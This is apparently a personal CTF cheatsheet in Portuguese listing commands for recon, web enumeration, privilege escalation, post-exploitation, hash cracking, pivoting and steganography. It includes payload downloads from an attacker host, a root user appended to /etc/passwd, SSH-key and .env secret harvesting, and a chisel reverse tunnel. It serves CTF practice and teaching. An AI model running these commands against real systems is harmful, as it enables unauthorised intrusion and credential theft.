CTF Cheatsheet#
Criei essa cheatsheet depois de passar vários momentos em CTFs tentando lembrar ferramentas, comandos e qual caminho seguir. Para facilitar a minha vida, organizei tudo numa sequência lógica e com informações bem diretas ao ponto.
Espero que ajude nos próximos desafios. Boa sorte no hacking!
1. Reconhecimento inicial — Nmap#
nmap -p- --min-rate=5000 -T4 -Pn --open -oN nmap-allports.txt <IP>
nmap -p <portas> -sC -sV -oN nmap-detailed.txt <IP>
nmap -sU --top-ports 100 -oN nmap-udp.txt <IP>
nmap -p <portas> --script vuln -oN nmap-vuln.txt <IP>
nmap -sn <IP>/242. Serviço Web#
2.1 Fingerprint#
whatweb <URL>
curl -I <URL>Wappalyzer (extensão navegador).
2.2 Manual#
- Ctrl+U, comentários HTML, JS files
robots.txt,sitemap.xml,/.well-known/- Cookies, headers, formulários, uploads, parâmetros de URL
2.3 .git exposto#
curl -s <URL>/.git/HEAD
git-dumper <URL>/.git/ ./dump # ou githacker2.4 .env exposto (direto pela web, antes de ter shell)#
curl -s <URL>/.env
curl -s <URL>/.env.bak
curl -s <URL>/.env.local
curl -s <URL>/config/.env2.5 Nikto#
nikto -h <URL>2.6 Diretórios / arquivos#
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -o gobuster.txt
ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raw-medium-directories.txt -e .php,.html,.txt2.7 Virtual Host fuzzing#
ffuf -u http://<IP> -H "Host: FUZZ.<dominio>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <tamanho_resposta_padrao>2.8 Subdomínios#
gobuster dns -d <dominio.com> -w /usr/share/wordlists/subdomains-top1million-5000.txt
ffuf -u http://FUZZ.<dominio.com> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302
subfinder -d <dominio.com>
amass enum -passive -d <dominio.com>Subdomínio novo → adicionar em
/etc/hosts.
2.9 Outras checagens#
- CMS:
wpscan --url <URL> --enumerate u,vp,vt - Login panels: creds padrão / SQLi básico (
' OR 1=1 -- -) - Upload: bypass de extensão pra RCE
- LFI/RFI:
?page=,?file= - API/Swagger:
/api,/swagger.json,/graphql - SSTI, XXE
- JWT:
jwt_tool
3. Exploits conhecidos#
searchsploit <servico> <versao>
searchsploit -m <caminho_exploit>
msfconsole -q
search <servico/versao>
use <modulo>
set RHOSTS <IP>
run# SMB
smbclient -L //<IP>/ -N
enum4linux -a <IP>
crackmapexec smb <IP>Checar CVE em: FTP (vsftpd, ProFTPd), SMB (EternalBlue, SambaCry), SSH antigo, SNMP, Redis sem auth, RDP (BlueKeep).
4. Shell inicial#
4.1 Estabilizar TTY#
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL+Z no shell reverso
stty raw -echo; fg
# Enter, depois:
resetAlternativas:
script /dev/null -c bash
perl -e 'exec "/bin/sh";'
/bin/sh -i4.2 Vasculhar#
find / -writable -type d 2>/dev/null
find / -name "*.txt" -o -name "*.conf" 2>/dev/null | grep -v "Permission denied"
cat /etc/passwd
history
ls -la /home/* /var/www /opt /tmp 2>/dev/null4.3 Transferência de arquivos#
# atacante
python3 -m http.server 8000
# alvo Linux
wget http://<IP_atacante>:8000/linpeas.sh -O /tmp/linpeas.sh
curl http://<IP_atacante>:8000/linpeas.sh -o /tmp/linpeas.sh
# alvo Windows
certutil -urlcache -f http://<IP_atacante>:8000/winpeas.exe winpeas.exe5. Privilege Escalation — Linux#
5.1 Enumeração base#
sudo -l
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
getcap -r / 2>/dev/null # capabilities
ps aux
crontab -l; cat /etc/crontab
uname -a; cat /etc/os-release
id; groups
netstat -tulpn 2>/dev/null || ss -tulpn
cat /etc/fstab
find / -writable -not -path "/proc/*" 2>/dev/nullGTFOBins (https://gtfobins.github.io) — checar SUID/sudo com bypass conhecido.
5.2 Timers systemd (substituto moderno de cron)#
systemctl list-timers --all
systemctl cat <timer>.timer
systemctl cat <service>.service
find /etc/systemd/system /lib/systemd/system -writable 2>/dev/null5.3 pspy — monitora processos root em tempo real (sem precisar de privilégio)#
./pspy645.4 Kernel exploits#
./linux-exploit-suggester.sh5.5 Wildcard injection (cron/script root usando *)#
# ex: script root faz "tar czf backup.tar.gz *" em dir writable
# injetar arquivos com nomes de flags do tar pra RCE5.6 Grupos perigosos#
id # atenção a: docker, lxd, disk, adm, shadow
# docker group -> root via bind mount
docker run -v /:/mnt --rm -it alpine chroot /mnt sh5.7 NFS no_root_squash#
# no alvo
cat /etc/exports 2>/dev/null
# no atacante
showmount -e <IP>5.8 SSH keys esquecidas#
find / -name "id_rsa*" -o -name "authorized_keys" 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null5.9 /etc/passwd writable#
openssl passwd -1 -salt xyz senha123
echo 'hacker:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /etc/passwd5.10 PATH hijacking#
echo $PATH
# binário malicioso com mesmo nome em dir writable que vem antes no PATH5.11 Scripts automatizados#
linpeas.sh
linenum.sh6. Privilege Escalation — Windows#
whoami /priv
whoami /groups
systeminfo
net user
net localgroup administrators
tasklist /svc
schtasks /query /fo LIST /v
icacls "C:\caminho"
reg query HKLM\SYSTEM\CurrentControlSet\Services\<servico>Checar: serviços com permissão de escrita, AlwaysInstallElevated, unquoted service paths, tokens/impersonation (JuicyPotato/PrintSpoofer), senhas em config.
winPEAS.exe
PowerUp.ps1 # Invoke-AllChecksSe houver Active Directory no CTF:
SharpHound.exe -c All
Rubeus.exe kerberoast7. Pós-exploração#
7.1 Senhas / segredos em arquivos#
grep -ri "password" /etc /var /opt -R 2>/dev/null
find / -name "*.kdbx" -o -name "id_rsa" 2>/dev/null7.2 .env / configs de app (busca dedicada)#
find / -name ".env" -o -name "*.env*" 2>/dev/null
find / -name "config.php" -o -name "settings.py" -o -name "wp-config.php" 2>/dev/null
# Se achar app em /var/www, /opt, /srv — olhar direto
cat /var/www/html/.env 2>/dev/null
# .env costuma vazar: DB_PASSWORD, API_KEY, AWS_SECRET_ACCESS_KEY, JWT_SECRET
grep -E "PASSWORD|SECRET|KEY|TOKEN" /var/www/html/.env 2>/dev/null
# -> testar credencial reutilizada: mysql/postgres local, painel web, SSH do mesmo user7.3 Persistência (se necessário no CTF)#
cat ~/.ssh/authorized_keys7.4 Flag#
cat /root/root.txt # ou proof.txt, flag.txt etc7.5 Quebra de hash#
Identificar o tipo de hash primeiro:
hash-identifier
hashid hash.txt # alternativa mais atualizada, aceita arquivoJohn the Ripper:
john --wordlist=rockyou.txt hash.txt
john --format=<formato> --wordlist=rockyou.txt hash.txt # forçar formato (ex: sha512crypt, nt, raw-md5)
john --rules --wordlist=rockyou.txt hash.txt # aplica regras (leet, maiúsculas, sufixos)
john --show hash.txt # lista as senhas já quebradas
# gerar o arquivo de hash a partir de formatos comuns antes de rodar o john
unshadow /etc/passwd /etc/shadow > combined.txt && john combined.txt
zip2john arquivo.zip > zip.hash && john zip.hash
rar2john arquivo.rar > rar.hash && john rar.hash
ssh2john id_rsa > ssh.hash && john ssh.hash
office2john arquivo.docx > office.hash && john office.hashHashcat (mais rápido, usa GPU):
hashcat -m <modo> hash.txt rockyou.txt # -a 0 (wordlist) é o padrão
hashcat --example-hashes | grep -i -A2 "<algoritmo>" # descobrir o número do -m
hashcat -a 3 -m <modo> hash.txt '?a?a?a?a?a?a' # -a 3 = bruteforce por máscara
hashcat -a 0 -m <modo> hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m <modo> hash.txt --show # mostra os já quebrados
hashcat -m <modo> hash.txt --show -o cracked.txt # salva o resultado em arquivo
# modos (-m) mais comuns em CTF
# 0 MD5
# 100 SHA1
# 1400 SHA256
# 1800 sha512crypt ($6$, /etc/shadow)
# 3200 bcrypt ($2y$/$2a$)
# 1000 NTLM
# 5600 NetNTLMv2
# 13100 Kerberoast (krb5tgs)7.6 Pivoting#
SSH tunneling (quando já tem creds/chave SSH pro pivot — prioridade, não precisa subir binário)
# -L: Local port forward — acessar serviço interno específico como se fosse local
# Ex: pivot enxerga MySQL em 10.10.10.5:3306 que você não alcança direto
ssh -L 3306:10.10.10.5:3306 user@<IP_pivot>
# no seu Kali:
mysql -h 127.0.0.1 -P 3306 -u root -p
# -D: Dynamic port forward (SOCKS proxy) — pra varrer a rede interna inteira
ssh -D 1080 user@<IP_pivot>
# /etc/proxychains.conf -> socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains curl http://10.10.10.5
# -R: Remote port forward — expõe serviço seu pro pivot conectar de volta
ssh -R 4444:127.0.0.1:4444 user@<IP_pivot>
# Combo com chave roubada, sem TTY interativo
ssh -i id_rsa -L 8080:localhost:80 -N user@<IP_pivot> # -N = só forward, sem shell
-Lquando já sabe o serviço/porta interna alvo.-Dquando quer varrer a rede toda (nmap/gobuster contra hosts internos).
Chisel / sshuttle (quando NÃO tem SSH, só shell reverso)
# atacante
chisel server -p 8000 --reverse
# alvo
chisel client <IP_atacante>:8000 R:socks
proxychains nmap -sT -Pn <IP_interno>
# alternativa
sshuttle -r user@<IP> 10.10.10.0/248. Forense / Esteganografia (arquivos suspeitos)#
Rodar em qualquer arquivo que pareça fora do lugar: imagem baixada do site, anexo, arquivo achado no shell (/var/www, /home, /tmp, diretório de upload etc).
8.1 Binwalk — identifica e extrai arquivos/filesystems embutidos#
binwalk arquivo.jpg # escaneia assinaturas embutidas (zip, filesystem, executável...)
binwalk -e arquivo.jpg # extrai o que encontrar (pasta _arquivo.jpg.extracted/)
binwalk -Me arquivo.jpg # extração recursiva (Matryoshka: extrai de dentro do que já extraiu)
binwalk --dd='.*' arquivo.jpg # força extração de qualquer assinatura que casar8.2 Steghide — embute/extrai dados escondidos (LSB) em JPEG/BMP/WAV/AU#
steghide info arquivo.jpg # mostra se há dado embutido e o formato
steghide extract -sf arquivo.jpg # extrai (pede senha; Enter = senha vazia)
steghide extract -sf arquivo.jpg -p "senha" # extrai com senha já conhecida
steghide embed -cf arquivo.jpg -ef segredo.txt # embutir (útil pra testar/recriar um challenge)
# steghide não tem bruteforce nativo de senha -> usar:
stegseek arquivo.jpg rockyou.txt # fork moderno do stegcracker, bem mais rápido
stegcracker arquivo.jpg rockyou.txt # alternativa mais antiga/lenta8.3 Ferramentas complementares#
exiftool arquivo.jpg # metadados EXIF (comentários, GPS, autor, software usado)
strings arquivo.jpg | less # texto legível embutido no binário
file arquivo.jpg # confirma o tipo real do arquivo vs a extensão
zsteg arquivo.png # equivalente ao steghide, focado em PNG/BMP
foremost -i arquivo -o saida/ # recupera arquivos por assinatura (parecido com binwalk -e)9. Notas gerais#
- Anotar IP, portas, versões, credenciais num
notes.mdconforme avança. - Testar reuso de credenciais entre serviços (SSH, FTP, painel web, .env).
- Ao trocar de shell (netcat → SSH), matar processos antigos.
tmux/screenpra não perder sessão de shell reversa.
